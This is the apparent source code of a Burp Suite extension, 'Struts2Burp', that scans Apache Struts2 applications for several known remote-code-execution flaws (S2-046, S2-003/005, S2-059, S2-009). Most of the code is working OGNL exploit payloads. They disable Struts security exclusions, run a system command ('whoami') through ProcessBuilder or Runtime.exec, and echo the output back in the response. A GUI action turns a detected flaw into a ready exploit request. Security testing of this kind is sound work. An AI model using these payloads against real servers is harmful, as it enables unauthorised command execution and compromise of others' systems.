| public class S2_046 extends IModule { 9 | public String contentType = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2"; 10 | public String requestBody = 11 | "------WebKitFormBoundaryXd004BVJN9pBYBL2\r\n" + 12 | "Content-Disposition: form-data; name=\"upload\"; filename=\"{payload}"+new String(new byte[]{0x00})+".\"\r\n" + 13 | "Content-Type: text/plain\r\n" + 14 | "\r\n" + 15 | "foo\r\n" + 16 | "------WebKitFormBoundaryXd004BVJN9pBYBL2--"; 17 | 18 | public S2_046() { 19 | poc = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('xxx','"+injectMark[0]+"'+'"+injectMark[1]+"')}"; 20 | exp = 21 | "%{" + 22 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" + 23 | ".(" + 24 | "#_memberAccess?(#_memberAccess=#dm):" + 25 | "(" + 26 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" + 27 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + 28 | ".(#ognlUtil.getExcludedPackageNames().clear())" + 29 | ".(#ognlUtil.getExcludedClasses().clear())" + 30 | ".(#context.setMemberAccess(#dm))" + 31 | ")" + 32 | ")" + 33 | ".(#cmd='whoami')" + 34 | ".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))" + 35 | ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" + 36 | ".(#p=new java.lang.ProcessBuilder(#cmds))" + 37 | ".(#p.redirectErrorStream(true))" + 38 | ".(#process=#p.start())" + 39 | ".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))" + 40 | ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))" + 41 | ".(#ros.flush())" + 42 | "}"; 43 | } 44 | 45 | @Override 46 | public IScanIssue start() { 47 | List headers = requestInfo.getHeaders(); 48 | Collections.replaceAll(headers, headers.get(0), headers.get(0).replace("GET", "POST")); 49 | for (String header: headers) { 50 | if (header.contains("Content-Type")) { 51 | headers.remove(header); 52 | break; 53 | } 54 | } 55 | headers.add(contentType); 56 | 57 | request = helpers.buildHttpMessage(headers, requestBody.replace("{payload}", poc).getBytes()); 58 | if (check()) { 59 | this.detail = exp; 60 | return creatCustomScanIssue(); 61 | } 62 | return null; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/module/S2_003_005.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.io.PrintWriter; 6 | import java.net.URLEncoder; 7 | 8 | public class S2_003_005 extends IModule { 9 | public S2_003_005() { 10 | poc = 11 | "(a)(('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a))=1" + 12 | "&(b)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(b))=1" + 13 | "&(c)(('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(c))=1" + 14 | "&(d)(('\\u0023xman\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(d))=1" + 15 | "&(e)(('\\u0023xman.getWriter().print(\"" + injectMark[0] + "\")')(e))=1" + 16 | "&(f)(('\\u0023xman.getWriter().print(\"" + injectMark[1] + "\")')(f))=1" + 17 | "&(g)(('\\u0023xman.getWriter().flush()')(g))=1" + 18 | "&(h)(('\\u0023xman.getWriter().close()')(h))=1"; 19 | poc = URLEncoder.encode(poc).replace("%3D", "=").replace("%26", "&"); 20 | 21 | exp = 22 | "(a)(('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a))=1" + 23 | "&(b)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(b))=1" + 24 | "&(c)(('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(c))=1" + 25 | "&(d)(('\\u0023mycmd\\u003d\\'whoami\\'')(d))=1" + 26 | "&(e)(('\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)')(e))=1" + 27 | "&(f)(('\\u0023mydat\\u003dnew\\u0020java.io.DataInputStream(\\u0023myret.getInputStream())')(f))=1" + 28 | "&(g)(('\\u0023myres\\u003dnew\\u0020byte[51020]')(g))=1" + 29 | "&(h)(('\\u0023mydat.readFully(\\u0023myres)')(h))=1" + 30 | "&(i)(('\\u0023mystr\\u003dnew\\u0020java.lang.String(\\u0023myres)')(i))=1" + 31 | "&(j)(('\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(j))=1" + 32 | "&(k)(('\\u0023myout.getWriter().print(\\u0023mystr)')(k))=1"; 33 | exp = URLEncoder.encode(exp).replace("%3D", "=").replace("%26", "&"); 34 | } 35 | 36 | @Override 37 | public IScanIssue start() { 38 | String[] parameters = poc.split("&"); 39 | 40 | byte in = (byte) 0; 41 | if (requestInfo.getMethod().equals("POST")) { 42 | in = (byte) 1; 43 | } 44 | for (String parameter: parameters) { 45 | String[] split = parameter.split("="); 46 | String parameterName = split[0]; 47 | String parameterValue = split[1]; 48 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, in); 49 | request = helpers.updateParameter(request, newParameter); 50 | } 51 | if (check()) { 52 | this.detail = exp; 53 | return creatCustomScanIssue(); 54 | } 55 | return null; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/module/S2_059.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.IModule; 4 | import burp.IParameter; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URLEncoder; 8 | import java.util.List; 9 | 10 | public class S2_059 extends IModule { 11 | public S2_059() { 12 | poc = 13 | "%{" + 14 | "(#context=#attr['struts.valueStack'].context)" + 15 | ".(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" + 16 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + 17 | ".(#ognlUtil.setExcludedClasses(''))" + 18 | ".(#ognlUtil.setExcludedPackageNames(''))" + 19 | ".(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))" + 20 | ".(#res=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())" + 21 | ".(#res.print('"+ injectMark[0] +"'))" + 22 | ".(#res.print('"+ injectMark[1] +"'))" + 23 | ".(#res.flush())" + 24 | ".(#res.close())}"; 25 | poc = URLEncoder.encode(poc); 26 | 27 | //有待商榷,某些版本struts中不一定能使用构造函数 28 | exp = 29 | "%{" + 30 | "(#context=#attr['struts.valueStack'].context)" + 31 | ".(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" + 32 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + 33 | ".(#ognlUtil.setExcludedClasses(''))" + 34 | ".(#ognlUtil.setExcludedPackageNames(''))" + 35 | ".(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))" + 36 | ".(#res=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())" + 37 | ".(#a=(new java.lang.ProcessBuilder('whoami')).start())" + 38 | ".(#b=#a.getInputStream())" + 39 | ".(#c=new java.io.InputStreamReader(#b))" + 40 | ".(#d=new java.io.BufferedReader(#c))" + 41 | ".(#e=new char[50])" + 42 | ".(#d.read(#e))" + 43 | ".(#res.print(#e))" + 44 | ".(#res.flush())" + 45 | ".(#res.close())" + 46 | "}"; 47 | exp = URLEncoder.encode(exp); 48 | } 49 | 50 | @Override 51 | public IScanIssue start() { 52 | List parameters = requestInfo.getParameters(); 53 | for (IParameter parameter: parameters) { 54 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 55 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType()); 56 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 57 | if (check()) { 58 | this.detail = exp; 59 | return creatCustomScanIssue(); 60 | } 61 | } 62 | } 63 | return super.start(); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/module/S2_009.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | import java.util.List; 7 | 8 | public class S2_009 extends IModule { 9 | public S2_009() { 10 | String format = "abcedfghij=%s&z[(abcedfghij)('meh')]=true"; 11 | poc = 12 | "(" + 13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 14 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," + 15 | "#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET," + 16 | "#out=@org.apache.struts2.ServletActionContext@getResponse()," + 17 | "#out.getWriter().print(\"" + injectMark[0] + "\")," + 18 | "#out.getWriter().print(\"" + injectMark[1] + "\")," + 19 | "#out.getWriter().flush()," + 20 | "#out.getWriter().close()" + 21 | ")(meh)"; 22 | poc = String.format(format, URLEncoder.encode(poc)); 23 | 24 | exp = 25 | "(" + 26 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 27 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," + 28 | "#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET," + 29 | "#cmd=\"whoami\"," + 30 | "#ret=@java.lang.Runtime@getRuntime().exec(#cmd)," + 31 | "#data=new java.io.DataInputStream(#ret.getInputStream())," + 32 | "#res=new byte[4]," + 33 | "#data.readFully(#res)," + 34 | "#echo=new java.lang.String(#res)," + 35 | "#out=@org.apache.struts2.ServletActionContext@getResponse()," + 36 | "#out.getWriter().print(#echo)," + 37 | "#out.getWriter().flush()," + 38 | "#out.getWriter().close()" + 39 | ")(meh)"; 40 | exp = String.format(format, URLEncoder.encode(exp)); 41 | } 42 | 43 | //不清楚这个poc为啥可以在无参数传入时也可用 44 | // public String poc2 = "class.classLoader.jarPath=%28%23context[\"xwork.MethodAccessor.denyMethodExecution\"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]"; 45 | 46 | @Override 47 | public IScanIssue start(){ 48 | List parameters = requestInfo.getParameters(); 49 | parameters.add(helpers.buildParameter("class.classLoader.jarPath", "1", (byte) 0)); 50 | for (IParameter parameter: parameters) { 51 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 52 | String toPoc = poc.replace("abcedfghij", parameter.getName()); 53 | 54 | String[] params = toPoc.split("&"); 55 | for (String param : params) { 56 | String[] tmp = param.split("=", 2); 57 | String parameterName = tmp[0]; 58 | String parameterValue = tmp[1]; 59 | 60 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, parameter.getType()); 61 | request = helpers.updateParameter(request, newParameter); 62 | } 63 | if (check()) { 64 | this.detail = exp; 65 | return creatCustomScanIssue(); 66 | } 67 | } 68 | } 69 | 70 | return null; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | import module.*; 5 | 6 | import java.awt.*; 7 | import java.io.PrintWriter; 8 | import java.net.URL; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class BurpExtender implements IBurpExtender, IScannerCheck, ITab { 13 | public static IBurpExtenderCallbacks callbacks; 14 | public static IExtensionHelpers helpers; 15 | public static PrintWriter stdout; 16 | public static PrintWriter stderr; 17 | public static ArrayList filterUrls = new ArrayList<>(); 18 | public static ArrayList modules = new ArrayList<>(); 19 | public static final List log = new ArrayList<>(); 20 | 21 | public static String extName = "Struts2Burp"; 22 | public static String banner = 23 | "[+] https://github.com/x1a0t/Struts2Burp\n" + 24 | "[+] Load Success!"; 25 | 26 | public BurpExtender() { 27 | modules.add(new S2_001()); 28 | modules.add(new S2_003_005()); 29 | modules.add(new S2_007()); 30 | modules.add(new S2_009()); 31 | modules.add(new S2_012()); 32 | modules.add(new S2_013_014()); 33 | modules.add(new S2_015()); 34 | modules.add(new S2_016()); 35 | modules.add(new S2_032()); 36 | modules.add(new S2_045()); 37 | modules.add(new S2_046()); 38 | modules.add(new S2_057()); 39 | modules.add(new S2_059()); 40 | modules.add(new S2_061()); 41 | modules.add(new Devmode()); 42 | } 43 | public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) { 44 | callbacks = iBurpExtenderCallbacks; 45 | helpers = callbacks.getHelpers(); 46 | 47 | callbacks.setExtensionName(extName); 48 | callbacks.registerScannerCheck(this); 49 | callbacks.addSuiteTab(this); 50 | 51 | stdout = new PrintWriter(callbacks.getStdout(), true); 52 | stderr = new PrintWriter(callbacks.getStderr(), true); 53 | stdout.println(banner); 54 | } 55 | 56 | public List doPassiveScan(IHttpRequestResponse iHttpRequestResponse) { 57 | ArrayList iScanIssues = new ArrayList<>(); 58 | URL url = helpers.analyzeRequest(iHttpRequestResponse).getUrl(); 59 | 60 | String path = url.getPath().split(";")[0]; 61 | 62 | if (path.endsWith(".do") || path.endsWith(".action")) { 63 | //貌似burp的被动扫描自己有 64 | // if (filterUrls.contains(url)) { 65 | // return null; 66 | // } 67 | // filterUrls.add(url); 68 | for (IModule module: modules) { 69 | module.init(iHttpRequestResponse); 70 | } 71 | 72 | for (IModule module: modules) { 73 | IScanIssue scanIssue = module.start(); 74 | if (scanIssue != null) { 75 | iScanIssues.add(scanIssue); 76 | } 77 | } 78 | } 79 | 80 | return iScanIssues; 81 | } 82 | 83 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) { 84 | return null; 85 | } 86 | 87 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) { 88 | if (iScanIssue.getIssueName().equals(iScanIssue1.getIssueName())) { 89 | return -1; 90 | } else { 91 | return 0; 92 | } 93 | } 94 | 95 | @Override 96 | public String getTabCaption() { 97 | return extName; 98 | } 99 | 100 | @Override 101 | public Component getUiComponent() { 102 | GUI gui = new GUI(); 103 | return gui.getRootComponent(); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/burp/IModule.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.lang.reflect.InvocationTargetException; 4 | import java.lang.reflect.Method; 5 | import java.net.URL; 6 | import java.net.URLEncoder; 7 | import java.nio.charset.StandardCharsets; 8 | import java.util.Arrays; 9 | import java.util.List; 10 | import java.util.concurrent.ExecutorService; 11 | import java.util.concurrent.Executors; 12 | 13 | public class IModule { 14 | public IBurpExtenderCallbacks callbacks; 15 | public IExtensionHelpers helpers; 16 | public IHttpRequestResponse iHttpRequestResponse; 17 | public IRequestInfo requestInfo; 18 | public IHttpService httpService; 19 | public byte[] request; 20 | 21 | public URL url; 22 | public String detail; 23 | public String severity; 24 | public String moduleName; 25 | 26 | public String poc; 27 | public String exp; 28 | public String randomMark = Util.getRandomString(16); 29 | public String[] injectMark = new String[]{randomMark.substring(0, 9), randomMark.substring(9, 16)}; 30 | 31 | public void init(IHttpRequestResponse iHttpRequestResponse) { 32 | this.helpers = BurpExtender.helpers; 33 | this.callbacks = BurpExtender.callbacks; 34 | this.iHttpRequestResponse = iHttpRequestResponse; 35 | this.requestInfo = BurpExtender.helpers.analyzeRequest(iHttpRequestResponse); 36 | this.httpService = iHttpRequestResponse.getHttpService(); 37 | this.request = iHttpRequestResponse.getRequest(); 38 | 39 | 40 | 41 | this.url = BurpExtender.helpers.analyzeRequest(iHttpRequestResponse).getUrl(); 42 | this.detail = "No detail"; 43 | this.severity = "High"; 44 | String[] tmp = this.getClass().getName().split("\\."); 45 | this.moduleName = tmp[tmp.length-1]; 46 | } 47 | 48 | public IScanIssue start() { 49 | return null; 50 | } 51 | 52 | public boolean check() { 53 | return this.check(randomMark); 54 | } 55 | 56 | public boolean check(String mark) { 57 | IHttpRequestResponse newHttpRequestResponse = BurpExtender.callbacks.makeHttpRequest(httpService, request); 58 | this.iHttpRequestResponse = newHttpRequestResponse; 59 | byte[] response = newHttpRequestResponse.getResponse(); 60 | String responseText = BurpExtender.helpers.bytesToString(response); 61 | boolean isVul = responseText.contains(mark); 62 | IModule vulClass = null; 63 | if(isVul) { 64 | vulClass = this; 65 | } 66 | addLog(url, iHttpRequestResponse, moduleName, vulClass); 67 | return isVul; 68 | } 69 | 70 | public IScanIssue creatCustomScanIssue() { 71 | String name = String.format("[%s] %s", BurpExtender.extName, moduleName); 72 | return new CustomScanIssue(name, url, httpService, new IHttpRequestResponse[]{iHttpRequestResponse}, detail, severity); 73 | } 74 | 75 | public void addLog(URL url, IHttpRequestResponse requestResponse, String payload, IModule vulClass) { 76 | ExecutorService executorService = Executors.newSingleThreadExecutor(); 77 | executorService.submit(new Runnable() { 78 | @Override 79 | public void run() { 80 | synchronized(BurpExtender.log) { 81 | int row = BurpExtender.log.size(); 82 | BurpExtender.log.add(new LogEntry(url, requestResponse, payload, vulClass)); 83 | GUI.logTable.getHttpLogTableModel().fireTableRowsInserted(row, row); 84 | } 85 | } 86 | }); 87 | // int row = BurpExtender.log.size(); 88 | // BurpExtender.log.add(new LogEntry(url, requestResponse, payload, vulClass)); 89 | // GUI.logTable.getHttpLogTableModel().fireTableRowsInserted(row, row); 90 | } 91 | 92 | public byte[] makeExploit() { 93 | //更新当前请求数据 94 | requestInfo = helpers.analyzeRequest(iHttpRequestResponse); 95 | //替换请求包中的poc为exp 96 | List headers = requestInfo.getHeaders(); 97 | for (String header: headers) { 98 | if (header.contains(poc)) { 99 | int i = headers.indexOf(header); 100 | headers.remove(header); 101 | headers.add(i, header.replace(poc, exp)); 102 | break; 103 | } 104 | } 105 | 106 | int bodyOffset = requestInfo.getBodyOffset(); 107 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length); 108 | byte[] body = helpers.bytesToString(requestBody).replace(poc, exp).getBytes(); 109 | 110 | return helpers.buildHttpMessage(headers, body); 111 | } 112 | 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/burp/GUI.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | import java.awt.event.MouseAdapter; 6 | import java.awt.event.MouseEvent; 7 | 8 | public class GUI implements IMessageEditorController { 9 | private JPanel rootPanel; 10 | 11 | public static HttpLogTable logTable; 12 | public static IMessageEditor requestViewer; 13 | public static IMessageEditor responseViewer; 14 | public static IHttpRequestResponse currentlyDisplayedItem; 15 | 16 | public IModule iModule; 17 | 18 | public GUI() { 19 | setupUI(); 20 | } 21 | 22 | private void setupUI() { 23 | JSplitPane splitPanel = new JSplitPane(JSplitPane.VERTICAL_SPLIT); 24 | splitPanel.setDividerLocation(0.5); 25 | 26 | HttpLogTableModel model = new HttpLogTableModel(); 27 | logTable = new HttpLogTable(model); 28 | 29 | JScrollPane scrollPane = new JScrollPane(logTable); 30 | splitPanel.setTopComponent(scrollPane); 31 | 32 | JTabbedPane tabs = new JTabbedPane(); 33 | requestViewer = BurpExtender.callbacks.createMessageEditor(this, false); 34 | responseViewer = BurpExtender.callbacks.createMessageEditor(this, false); 35 | 36 | tabs.addTab("Request", requestViewer.getComponent()); 37 | tabs.addTab("Response", responseViewer.getComponent()); 38 | splitPanel.setBottomComponent(tabs); 39 | 40 | 41 | BurpExtender.callbacks.customizeUiComponent(logTable); 42 | BurpExtender.callbacks.customizeUiComponent(splitPanel); 43 | BurpExtender.callbacks.customizeUiComponent(scrollPane); 44 | 45 | rootPanel = new JPanel(); 46 | rootPanel.setLayout(new BorderLayout()); 47 | splitPanel.setOrientation(JSplitPane.VERTICAL_SPLIT); 48 | rootPanel.add(splitPanel, BorderLayout.CENTER); 49 | 50 | logTable.addMouseListener(new MouseAdapter() { 51 | @Override 52 | public void mouseClicked(MouseEvent e) { 53 | if (e.getButton() == MouseEvent.BUTTON3) { 54 | int row = logTable.getSelectedRow(); 55 | logTable.setRowSelectionInterval(row, row); 56 | LogEntry logEntry = BurpExtender.log.get(row); 57 | 58 | JPopupMenu jPopupMenu = new JPopupMenu(); 59 | 60 | JMenuItem clear_all = new JMenuItem("Clear All"); 61 | clear_all.addActionListener(event -> { 62 | int n = JOptionPane.showConfirmDialog(null, "Are you sure you want to clear the data?", "Struts2Burp Client Prompt", JOptionPane.YES_NO_OPTION); 63 | if (n == 0) { 64 | BurpExtender.log.clear(); 65 | logTable.getHttpLogTableModel().fireTableDataChanged(); 66 | logTable.updateUI(); 67 | requestViewer.setMessage("".getBytes(), false); 68 | responseViewer.setMessage("".getBytes(), false); 69 | } 70 | }); 71 | jPopupMenu.add(clear_all); 72 | 73 | JMenuItem clear_other = new JMenuItem("Clear Other"); 74 | clear_other.addActionListener(event -> BurpExtender.log.removeIf(logEntry1 -> logEntry1.vulClass == null)); 75 | jPopupMenu.add(clear_other); 76 | 77 | if (logEntry.vulClass != null) { 78 | JMenuItem exp_in_repeater = new JMenuItem("Exp In Repeater"); 79 | exp_in_repeater.addActionListener(event -> { 80 | byte[] exploit = logEntry.vulClass.makeExploit(); 81 | IHttpService httpService = logEntry.requestResponse.getHttpService(); 82 | String protocol = httpService.getProtocol(); 83 | BurpExtender.callbacks.sendToRepeater(httpService.getHost(), httpService.getPort(), protocol.startsWith("https://"), exploit, null); 84 | }); 85 | jPopupMenu.add(exp_in_repeater); 86 | } 87 | 88 | jPopupMenu.show(logTable, e.getX(), e.getY()); 89 | } 90 | } 91 | }); 92 | } 93 | 94 | public JComponent getRootComponent() { 95 | return rootPanel; 96 | } 97 | 98 | @Override 99 | public IHttpService getHttpService() { 100 | return currentlyDisplayedItem.getHttpService(); 101 | } 102 | 103 | @Override 104 | public byte[] getRequest() { 105 | return currentlyDisplayedItem.getRequest(); 106 | } 107 | 108 | @Override 109 | public byte[] getResponse() { 110 | return currentlyDisplayedItem.getResponse(); 111 | } 112 | 113 | } 114 | --------------------------------------------------------------------------------